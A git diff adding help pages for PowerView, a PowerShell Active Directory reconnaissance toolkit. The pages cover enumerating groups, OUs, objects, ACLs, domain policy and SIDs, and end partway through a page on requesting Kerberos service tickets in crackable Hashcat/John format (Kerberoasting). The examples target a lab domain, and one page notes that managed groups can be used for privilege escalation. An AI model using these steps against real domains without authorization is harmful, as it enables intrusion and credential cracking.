+If the group member is a group, recursively try to query its members as well. + +```yaml +Type: SwitchParameter +Parameter Sets: ManualRecurse +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RecurseUsingMatchingRule +Switch. +Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +```yaml +Type: SwitchParameter +Parameter Sets: RecurseUsingMatchingRule +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/](http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/) + diff --git a/docs/Recon/Get-DomainManagedSecurityGroup.md b/docs/Recon/Get-DomainManagedSecurityGroup.md new file mode 100755 index 00000000..13d48a24 --- /dev/null +++ b/docs/Recon/Get-DomainManagedSecurityGroup.md @@ -0,0 +1,177 @@ +# Get-DomainManagedSecurityGroup + +## SYNOPSIS +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) \, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +## SYNTAX + +``` +Get-DomainManagedSecurityGroup [[-Domain] ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. +This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. +This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv +``` + +Store a list of all security groups with managers in group-managers.csv + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainOU.md b/docs/Recon/Get-DomainOU.md new file mode 100755 index 00000000..cc1fd39c --- /dev/null +++ b/docs/Recon/Get-DomainOU.md @@ -0,0 +1,316 @@ +# Get-DomainOU + +## SYNOPSIS +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainOU [[-Identity] ] [-GPLink ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties whencreated,usnchanged,...". +By default, all OU objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainOU +``` + +Returns the current OUs in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU *admin* -Domain testlab.local +``` + +Returns all OUs with "admin" in their name in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" +``` + +Returns all OUs with linked to the specified group policy object. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +"*admin*","*server*" | Get-DomainOU +``` + +Search for OUs with the specific names. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +## PARAMETERS + +### -Identity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GPLink +Only return OUs with the specified GUID in their gplink property. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GUID + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.OU + +Custom PSObject with translated OU property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObject.md b/docs/Recon/Get-DomainObject.md new file mode 100755 index 00000000..f900c539 --- /dev/null +++ b/docs/Recon/Get-DomainObject.md @@ -0,0 +1,318 @@ +# Get-DomainObject + +## SYNOPSIS +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +## SYNTAX + +``` +Get-DomainObject [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObject -Domain testlab.local +``` + +Return all objects for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname +``` + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainObjectAcl.md b/docs/Recon/Get-DomainObjectAcl.md new file mode 100755 index 00000000..97f70cd0 --- /dev/null +++ b/docs/Recon/Get-DomainObjectAcl.md @@ -0,0 +1,251 @@ +# Get-DomainObjectAcl + +## SYNOPSIS +Returns the ACLs associated with a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap + +## SYNTAX + +``` +Get-DomainObjectAcl [[-Identity] ] [-ResolveGUIDs] [-RightsFilter ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs +``` + +Get the ACLs for the matt.admin user in the testlab.local domain and +resolve relevant GUIDs to their display names. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs +``` + +Enumerate the ACL permissions for all OUs in the domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Rights + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainPolicy.md b/docs/Recon/Get-DomainPolicy.md new file mode 100755 index 00000000..8b7d1579 --- /dev/null +++ b/docs/Recon/Get-DomainPolicy.md @@ -0,0 +1,159 @@ +# Get-DomainPolicy + +## SYNOPSIS +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainPolicy [[-Domain] ] [-Source ] [-Server ] [-ServerTimeLimit ] + [-ResolveSids] [-Credential ] +``` + +## DESCRIPTION +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainPolicy +``` + +Returns the domain policy for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainPolicy -Domain dev.testlab.local +``` + +Returns the domain policy for the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainPolicy -Source DC -Domain dev.testlab.local +``` + +Returns the policy for the dev.testlab.local domain controller. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicy -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for default policies, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Source +Extract 'Domain' or 'DC' (domain controller) policies. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Domain +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResolveSids +Switch. +Resolve Sids from a DC policy to object names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSID.md b/docs/Recon/Get-DomainSID.md new file mode 100755 index 00000000..16c51ceb --- /dev/null +++ b/docs/Recon/Get-DomainSID.md @@ -0,0 +1,102 @@ +# Get-DomainSID + +## SYNOPSIS +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +## SYNTAX + +``` +Get-DomainSID [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. +The SID of the returned domain controller +is then extracted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSID +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainSID -Domain testlab.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +A string representing the specified domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainSPNTicket.md b/docs/Recon/Get-DomainSPNTicket.md new file mode 100755 index 00000000..70385a45 --- /dev/null +++ b/docs/Recon/Get-DomainSPNTicket.md @@ -0,0 +1,136 @@ +# Get-DomainSPNTicket + +## SYNOPSIS +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +### RawSPN (Default) +``` +Get-DomainSPNTicket [-SPN] [-OutputFormat ] [-Credential ] +``` + +### User +``` +Get-DomainSPNTicket [-User] [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. +The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainSPNTicket -SPN 